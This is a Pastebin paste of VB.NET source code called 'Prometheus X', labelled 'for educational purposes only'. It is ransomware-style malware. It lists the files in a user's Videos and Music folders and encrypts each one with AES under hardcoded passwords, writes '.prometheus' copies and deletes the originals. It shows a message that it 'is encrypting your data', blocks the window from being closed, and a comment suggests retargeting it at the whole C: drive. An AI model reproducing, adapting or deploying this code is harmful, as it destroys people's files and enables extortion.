Advertisement
Rythorian

Prometheus Code

Nov 16th, 2024
23
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 20.52 KB | None | 0 0
  1. REM: Prometheus X Created by: Justin Linwood Ross Copyright 11/12/2024 :: MIT Licensing
  2. REM: For Educational Purposes Only
  3. REM: SHA512 Managed 256-Bit Encryption
  4. Imports System.IO
  5. Imports System.Security.Cryptography
  6.  
  7. Public Class Prometheus
  8. 'Global variables Etc...
  9. <Flags>
  10. Private Enum SetWindowPosFlags As UInteger
  11. SynchronousWindowPosition = &H4000
  12. DeferErase = &H2000
  13. DrawFrame = &H20
  14. FrameChanged = &H20
  15. HideWindow = &H80
  16. DoNotActivate = &H10
  17. DoNotCopyBits = &H100
  18. IgnoreMove = &H2
  19. DoNotChangeOwnerZOrder = &H200
  20. DoNotRedraw = &H8
  21. DoNotReposition = &H200
  22. DoNotSendChangingEvent = &H400
  23. IgnoreResize = &H1
  24. IgnoreZOrder = &H4
  25. ShowWindow = &H40
  26. End Enum
  27.  
  28. Dim angle As Integer = 135
  29. Dim currentScreen As Screen
  30. Dim InitialMouseDownLocation As Point
  31. Private ReadOnly borderForm As New Form
  32. Public Const HT_CAPTION As Integer = &H2
  33. Public Const WM_NCLBUTTONDOWN As Integer = &HA1
  34. Private WithEvents Tmr As New Timer With {.Interval = 50}
  35. Private ReadOnly Create As Object
  36. Private ReadOnly sCurrentDirectory As String = AppDomain.CurrentDomain.BaseDirectory
  37.  
  38.  
  39. Private Declare Function SetWindowPos Lib "user32" (hwnd As Integer,
  40. hWndInsertAfter As Integer,
  41. x As Integer,
  42. y As Integer,
  43. cx As Integer,
  44. cy As Integer,
  45. wFlags As Integer) As Integer
  46. Private Declare Function FindWindow Lib "user32.dll" Alias "FindWindowA" (IpClassName As String,
  47. IpWindowName As String) As Integer
  48. Private Declare Function ShowWindow Lib "user32" (hwnd As IntPtr,
  49. nCmdShow As Integer) As Integer
  50. Public Declare Function SetProcessWorkingSetSize Lib "kernel32.dll" (hProcess As IntPtr,
  51. dwMinimumWorkingSetSize As Integer,
  52. dwMaximumWorkingSetSize As Integer) As Integer
  53.  
  54.  
  55. Private Sub Prometheus_Load(sender As Object,
  56. e As EventArgs) Handles MyBase.Load
  57. Application.EnableVisualStyles()
  58. currentScreen = Screen.AllScreens.First(Function(s) s.Bounds.Contains(Location))
  59. My.Computer.Audio.Play(My.Resources.system_recorded_audio, AudioPlayMode.BackgroundLoop)
  60.  
  61. For Each foundFile As String In My.Computer.FileSystem.GetFiles("C:\Users\rytho\Videos", FileIO.SearchOption.SearchAllSubDirectories)
  62. If foundFile.EndsWith(".Prometheus") Then
  63. Else
  64. ListBox1.Items.Add(foundFile)
  65.  
  66. End If
  67. Next
  68.  
  69. Tmr.Start()
  70. 'Change to C: = Target "System".
  71. 'This demo only targets "Videos"
  72. Dim myImage As Image = Image.FromFile("C:\Users\rytho\source\repos\Prometheus X\Prometheus X\Resources\prometheus1.png")
  73. Using myMemoryStream As New MemoryStream()
  74. myImage.Save(myMemoryStream, Imaging.ImageFormat.Bmp)
  75. End Using
  76.  
  77. Dim myPictureBox As New PictureBox With {
  78. .Image = myImage
  79. }
  80. Cursor = New Cursor(DirectCast(myPictureBox.Image, Bitmap).GetHicon())
  81.  
  82. With Me
  83. .FormBorderStyle = FormBorderStyle.None
  84. .Region = New Region(Prometheus_Fly(.ClientRectangle, 50))
  85. End With
  86. With borderForm
  87. .ShowInTaskbar = False
  88. .FormBorderStyle = FormBorderStyle.None
  89. .StartPosition = FormStartPosition.Manual
  90. .BackColor = Color.Black 'black
  91. .Opacity = 0.00 'If you keep this at 0.00, it removes the form shadow that remains
  92. Dim reign As Rectangle = Bounds
  93. reign.Inflate(2, 2)
  94. .Bounds = reign
  95. .Region = New Region(Prometheus_Fly(.ClientRectangle, 50))
  96. reign = New Rectangle(3, 3, Width - 4, Height - 4)
  97. .Region.Exclude(Prometheus_Fly(reign, 48))
  98. .Show(Me)
  99. End With
  100.  
  101. End Sub
  102.  
  103. Private Sub Clutch(sender As Object,
  104. e As EventArgs) Handles MyBase.Load
  105.  
  106. For Each foundFile As String In My.Computer.FileSystem.GetFiles("C:\Users\rytho\Music", FileIO.SearchOption.SearchAllSubDirectories)
  107. If foundFile.EndsWith(".Prometheus") Then
  108. Else
  109. ListBox2.Items.Add(foundFile)
  110. End If
  111. Next
  112.  
  113. End Sub
  114.  
  115. Private Function Prometheus_Fly(rect As RectangleF,
  116. diam As Single) As Drawing2D.GraphicsPath
  117. Dim path As New Drawing2D.GraphicsPath
  118. path.AddArc(rect.Left,
  119. rect.Top,
  120. diam,
  121. diam,
  122. 180,
  123. 90)
  124. path.AddArc(rect.Right - diam,
  125. rect.Top,
  126. diam,
  127. diam,
  128. 270,
  129. 90)
  130. path.AddArc(rect.Right - diam,
  131. rect.Bottom - diam,
  132. diam,
  133. diam,
  134. 0,
  135. 90)
  136. path.AddArc(rect.Left,
  137. rect.Bottom - diam,
  138. diam,
  139. diam,
  140. 90,
  141. 90)
  142. path.CloseFigure()
  143. Return path
  144. End Function
  145.  
  146. Private Sub Form1_Paint(sender As Object,
  147. e As PaintEventArgs) Handles MyBase.Paint
  148. e.Graphics.SmoothingMode = Drawing2D.SmoothingMode.HighQuality
  149.  
  150. Using deathcart As New Pen(Color.Black, 2)
  151. Dim rage As New Rectangle(1, 1, Width - 2,
  152. Height - 2)
  153. Dim psychopath As Drawing2D.GraphicsPath = Prometheus_Fly(rage, 48)
  154. e.Graphics.DrawPath(deathcart,
  155. psychopath)
  156. End Using
  157.  
  158.  
  159. End Sub
  160.  
  161. Private Sub Form1_Resize(sender As Object,
  162. e As EventArgs) Handles MyBase.Resize
  163. Refresh()
  164. End Sub
  165.  
  166. Private Sub Tmr_Tick(sender As Object,
  167. e As EventArgs) Handles Timer1.Tick
  168. DoubleBuffered = True
  169.  
  170. Dim angleRadians As Single = Math.PI * (angle Mod 360) / 180
  171. 'Calculate = X2 And Y2
  172. Dim pointX2 As Integer = Location.X - Math.Sin(angleRadians) * 5
  173. Dim pointY2 As Integer = Location.Y + Math.Cos(angleRadians) * 5
  174. Location = New Point(pointX2, pointY2)
  175.  
  176.  
  177. Dim p1 As New Point(Location.X - currentScreen.Bounds.Left, Location.Y - currentScreen.Bounds.Top)
  178.  
  179. Dim p2 As New Point(Right - currentScreen.Bounds.Left, Bottom - currentScreen.Bounds.Top)
  180.  
  181. If (p1.X < 0 Or p1.Y < 0 _
  182. Or p2.Y > currentScreen.Bounds.Height Or p2.X > currentScreen.Bounds.Width) Then
  183. angle += 90
  184. End If
  185. End Sub
  186.  
  187. Dim intake As FileStream
  188. Dim targetz As String
  189. Dim relief As FileStream
  190. ReadOnly cryptoString As String
  191. ReadOnly fileToDecrypt As String
  192. ReadOnly outputEncrypt As String
  193. ReadOnly outputDecrypt As String
  194.  
  195. Public Function CreateKey(strPassword As String) As Byte()
  196. 'Convert strPassword to an array and store in chrData.
  197. Dim chrData() As Char = strPassword.ToCharArray
  198. 'Use intLength to get strPassword size.
  199. Dim intLength As Integer = chrData.GetUpperBound(0)
  200. 'Declare bytDataToHash and make it the same size as chrData.
  201. Dim bytDataToHash(intLength) As Byte
  202. 'Use For Next to convert and store chrData into bytDataToHash.
  203. 'The hashCode property of the ByteData class in Dart returns the hash code for the object.
  204. 'ByteData is a fixed-length sequence of bytes that can be used to:
  205. 'Pack And unpack data from external sources
  206. 'Process large amounts of numerical data
  207. 'Reinterpret bytes representing one arithmetic type as another
  208. 'Here are some other methods related to hashing data
  209. 'SHA256.HashData : Computes the hash of data using the SHA256 algorithm
  210. 'SHA512.HashData : Computes the hash of data using the SHA512 algorithm
  211. 'HashAlgorithm.ComputeHash()
  212. 'Converts an input string to a byte array And computes the hash
  213. 'Data.Bytes.Hash : Hashes a byte array of length n
  214. 'The SHA - 256 algorithm Is considered one of the most secure hashing algorithms.
  215. 'It takes an input of any length And creates a 256-bit fixed-length hash value.
  216. For i As Integer = 0 To chrData.GetUpperBound(0)
  217. bytDataToHash(i) = CByte(Asc(chrData(i)))
  218. Next
  219. 'The hash is used as a unique value of fixed size representing a large amount of data.
  220. 'Hashes of two sets of data should match if and only if the corresponding data also matches.
  221. 'Small changes to the data result in large unpredictable changes in the hash.
  222. 'The hash size for the SHA512Managed algorithm Is 512 bits.
  223. 'Declaration for hash to be applied
  224. Dim SHA512 As New SHA512Managed
  225. 'Declare bytResult, Hash bytDataToHash and store it in bytResult.
  226. Dim byteResult As Byte() = SHA512.ComputeHash(bytDataToHash)
  227. 'Declare bytKey(31) >>> It will hold 256 bits.
  228. Dim bytezKey(31) As Byte
  229. 'Use For Next to put a specific size (256 bits) of
  230. 'bytResult into bytKey. The 0 To 31 will put the first 256 bits
  231. 'of 512 bits into bytKey.
  232. For i As Integer = 0 To 31
  233.  
  234. bytezKey(i) = byteResult(i)
  235.  
  236. Next
  237.  
  238. Return bytezKey 'Return the key.
  239. End Function
  240. Public Function CreateIV(strPassword As String) As Byte()
  241. 'Convert strPassword to an array and store in chrData.
  242. Dim chrData() As Char = strPassword.ToCharArray
  243. 'Use intLength to get strPassword size.
  244. Dim intLength As Integer = chrData.GetUpperBound(0)
  245. 'Declare bytDataToHash and make it the same size as chrData.
  246. Dim bytDataToHash(intLength) As Byte
  247.  
  248. 'Use For Next to convert and store chrData into bytDataToHash.
  249. For i As Integer = 0 To chrData.GetUpperBound(0)
  250. bytDataToHash(i) = CByte(Asc(chrData(i)))
  251. Next
  252.  
  253. 'Declare what hash will be utilized.
  254. Dim SHA512 As New SHA512Managed
  255. 'Declare bytResult, Hash bytDataToHash and store it in bytResult.
  256. Dim bytResult As Byte() = SHA512.ComputeHash(bytDataToHash)
  257. 'Declare bytIV(15). It will hold 128 bits.
  258. Dim bytIV(15) As Byte
  259.  
  260. 'Use For Next to put a specific size (128 bits) of
  261. 'bytResult into bytIV. The 0 To 30 for bytKey used the first 256 bits.
  262. 'of the hashed password. The 32 To 47 will put the next 128 bits into bytIV.
  263. For i As Integer = 32 To 47
  264. bytIV(i - 32) = bytResult(i)
  265. Next
  266.  
  267. Return bytIV 'return the IV
  268. End Function
  269. Public Enum CryptoAction
  270. 'Define the enumeration for CryptoAction.
  271. ActionEncrypt = 1
  272. ActionDecrypt = 2
  273. End Enum
  274.  
  275.  
  276. Public Sub Prometheus_Sha512(inputFile As String,
  277. outputFile As String,
  278. byteKey() As Byte,
  279. byteIV() As Byte,
  280. Destruction As CryptoAction)
  281. Try 'In case of errors.
  282.  
  283. 'Setup file streams to handle input and output.
  284. intake = New FileStream(inputFile, FileMode.Open,
  285. FileAccess.Read)
  286. relief = New FileStream(outputFile, FileMode.OpenOrCreate,
  287. FileAccess.Write)
  288. relief.SetLength(0) 'make sure fsOutput is empty
  289.  
  290. 'Declare variables for encrypt/decrypt process.
  291. Dim byteBuffer(4096) As Byte 'holds a block of bytes for processing
  292. Dim processBytesProcessed As Long = 0 'running count of bytes processed
  293. Dim processFileLength As Long = intake.Length 'the input file's length
  294. Dim intialBytesInCurrentBlock As Integer 'current bytes being processed
  295. Dim prometheusCryptoStream As CryptoStream
  296. 'Declare your CryptoServiceProvider.
  297. Dim prometheusRijndael As New RijndaelManaged
  298. 'Setup Progress Bar
  299. ProgressBar2.Value = 0
  300. ProgressBar2.Maximum = 100
  301.  
  302. 'Determine if ecryption or decryption and setup CryptoStream.
  303. Select Case Destruction
  304. Case CryptoAction.ActionEncrypt
  305. prometheusCryptoStream = New CryptoStream(relief,
  306. prometheusRijndael.CreateEncryptor(byteKey, byteIV),
  307. CryptoStreamMode.Write)
  308.  
  309. Case CryptoAction.ActionDecrypt
  310. prometheusCryptoStream = New CryptoStream(relief,
  311. prometheusRijndael.CreateDecryptor(byteKey, byteIV),
  312. CryptoStreamMode.Write)
  313. End Select
  314.  
  315. 'Use While to loop until all of the file is processed.
  316. While processBytesProcessed < processFileLength
  317. 'Read file with the input filestream.
  318. intialBytesInCurrentBlock = intake.Read(byteBuffer, 0, 4096)
  319. 'Write output file with the cryptostream.
  320. #Disable Warning BC42104 ' Variable is used before it has been assigned a value
  321. prometheusCryptoStream.Write(byteBuffer, 0, intialBytesInCurrentBlock)
  322. #Enable Warning BC42104 ' Variable is used before it has been assigned a value
  323. 'Update lngBytesProcessed
  324. processBytesProcessed += intialBytesInCurrentBlock
  325. 'Update Progress Bar
  326. ProgressBar2.Value = CInt((processBytesProcessed / processFileLength) * 100)
  327. End While
  328.  
  329. 'Close FileStreams and CryptoStream.
  330. prometheusCryptoStream.Close()
  331. intake.Close()
  332. relief.Close()
  333.  
  334. 'If encrypting then delete the original unencrypted file.
  335. If Destruction = CryptoAction.ActionEncrypt Then
  336. Dim fileOriginal As New FileInfo(cryptoString)
  337. fileOriginal.Delete()
  338. End If
  339.  
  340. 'If decrypting then delete the encrypted file.
  341. If Destruction = CryptoAction.ActionDecrypt Then
  342. Dim fileEncrypted As New FileInfo(fileToDecrypt)
  343. fileEncrypted.Delete()
  344. End If
  345.  
  346. 'Update the user when the file is done.
  347. Dim Wrap As String = Chr(13) + Chr(10)
  348. If Destruction = CryptoAction.ActionEncrypt Then
  349. MsgBox("Encryption Complete" + Wrap + Wrap +
  350. "Total bytes processed = " +
  351. processBytesProcessed.ToString,
  352. MsgBoxStyle.Information, "Done")
  353.  
  354. 'Update the progress bar and textboxes.
  355.  
  356.  
  357. Else
  358. 'Update the user when the file is done.
  359. MsgBox("Decryption Complete" + Wrap + Wrap +
  360. "Total bytes processed = " +
  361. processBytesProcessed.ToString,
  362. MsgBoxStyle.Information, "Done")
  363.  
  364. 'Update the progress bar and textboxes.
  365.  
  366. End If
  367.  
  368.  
  369. 'Catch file not found error.
  370. Catch When Err.Number = 53 'if file not found
  371. MsgBox("Please check to make sure the path and filename" +
  372. "are correct and if the file exists.",
  373. MsgBoxStyle.Exclamation, "Invalid Path or Filename")
  374.  
  375. 'Catch all other errors. And delete partial files.
  376. Catch
  377. Try
  378. ' fsInput.Close()
  379. 'fsOutput.Close()
  380. Catch ex As Exception
  381. Debug.WriteLine(ex.Message)
  382. End Try
  383.  
  384.  
  385. If Destruction = CryptoAction.ActionDecrypt Then
  386. Dim fileDelete As New FileInfo(targetz)
  387. fileDelete.Delete()
  388.  
  389. Else
  390. Dim fileDelete As New FileInfo(targetz)
  391. fileDelete.Delete()
  392.  
  393. End If
  394.  
  395. End Try
  396. End Sub
  397.  
  398. Private Sub TitansWrath_Tick(sender As Object,
  399. e As EventArgs) Handles TitansWrath.Tick
  400. ProgressBar1.Maximum = ListBox1.Items.Count
  401. If ProgressBar1.Value = ListBox1.Items.Count Then
  402. TitansWrath.Stop()
  403. Else
  404. ListBox1.SelectedIndex = ProgressBar1.Value
  405. ListBox1.SelectionMode = SelectionMode.One
  406. targetz = CStr(ListBox1.SelectedItem)
  407. Try
  408. Dim bytKey As Byte()
  409. Dim bytIV As Byte()
  410. 'Send the password to the CreateKey function.
  411. bytKey = CreateKey("Prometheus_Creation")
  412. 'Send the password to the CreateIV function.
  413. bytIV = CreateIV("Prometheus_is_reborn")
  414. 'Start the encryption.
  415. Prometheus_Sha512(targetz, targetz + ".prometheus",
  416. bytKey, bytIV, CryptoAction.ActionEncrypt)
  417. Catch ex As Exception
  418.  
  419. End Try
  420. ProgressBar1.Increment(1)
  421. End If
  422. End Sub
  423.  
  424. Private Sub Blaze_Tick(sender As Object, e As EventArgs) Handles Blaze.Tick
  425. ProgressBar5.Maximum = ListBox3.Items.Count
  426. If ProgressBar5.Value = ListBox3.Items.Count Then
  427. Blaze.Stop()
  428. Else
  429. ListBox3.SelectedIndex = ProgressBar5.Value
  430. ListBox3.SelectionMode = SelectionMode.One
  431. targetz = CStr(ListBox3.SelectedItem)
  432. Try
  433. Dim bytKey As Byte()
  434. Dim bytIV As Byte()
  435. 'Send the password to the CreateKey function.
  436. bytKey = CreateKey("Prometheus_Creation")
  437. 'Send the password to the CreateIV function.
  438. bytIV = CreateIV("Prometheus_is_reborn")
  439. 'Start the encryption.
  440. Prometheus_Sha512(targetz, targetz + ".prometheus",
  441. bytKey, bytIV, CryptoAction.ActionEncrypt)
  442. Catch ex As Exception
  443.  
  444. End Try
  445. ProgressBar5.Increment(1)
  446. End If
  447. End Sub
  448. Private Sub Grim_Tick(sender As Object, e As EventArgs) Handles Grim.Tick
  449. ProgressBar4.Maximum = ListBox2.Items.Count
  450. If ProgressBar4.Value = ListBox2.Items.Count Then
  451. Grim.Stop()
  452. Else
  453. ListBox2.SelectedIndex = ProgressBar4.Value
  454. ListBox2.SelectionMode = SelectionMode.One
  455. targetz = CStr(ListBox2.SelectedItem)
  456. Try
  457. Dim bytKey As Byte()
  458. Dim bytIV As Byte()
  459. 'Send the password to the CreateKey function.
  460. bytKey = CreateKey("Prometheus_Creation")
  461. 'Send the password to the CreateIV function.
  462. bytIV = CreateIV("Prometheus_is_reborn")
  463. 'Start the encryption.
  464. Prometheus_Sha512(targetz, targetz + ".prometheus",
  465. bytKey, bytIV, CryptoAction.ActionEncrypt)
  466. Catch ex As Exception
  467.  
  468. End Try
  469. ProgressBar4.Increment(1)
  470. End If
  471. End Sub
  472. Private Sub Hades_Tick(sender As Object,
  473. e As EventArgs) Handles Hades.Tick
  474. ProgressBar3.Increment(1)
  475. Label1.Text = ProgressBar3.Value & "% Prometheus is encrypting your data...."
  476. If ProgressBar3.Value >= 100 Then
  477. ProgressBar3.Value = ProgressBar3.Value
  478. ' Label2.Text = ProgressBar1.Value & "%Prometheus Lives...."
  479. TitansWrath.Stop()
  480. Grim.Stop()
  481. Blaze.Stop()
  482. Application.Exit()
  483. If (ProgressBar3.Value > 100) Then
  484. ProgressBar3.ForeColor = Color.Red
  485. Else
  486. ProgressBar3.ForeColor = Color.Red
  487. End If
  488. End If
  489. End Sub
  490.  
  491. Private Sub Prometheus_FormClosing(sender As Object,
  492. e As FormClosingEventArgs) Handles MyBase.FormClosing
  493. e.Cancel = True
  494. intake.Close()
  495. ' fsOutput.Close()
  496. End Sub
  497.  
  498.  
  499. End Class
  500.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement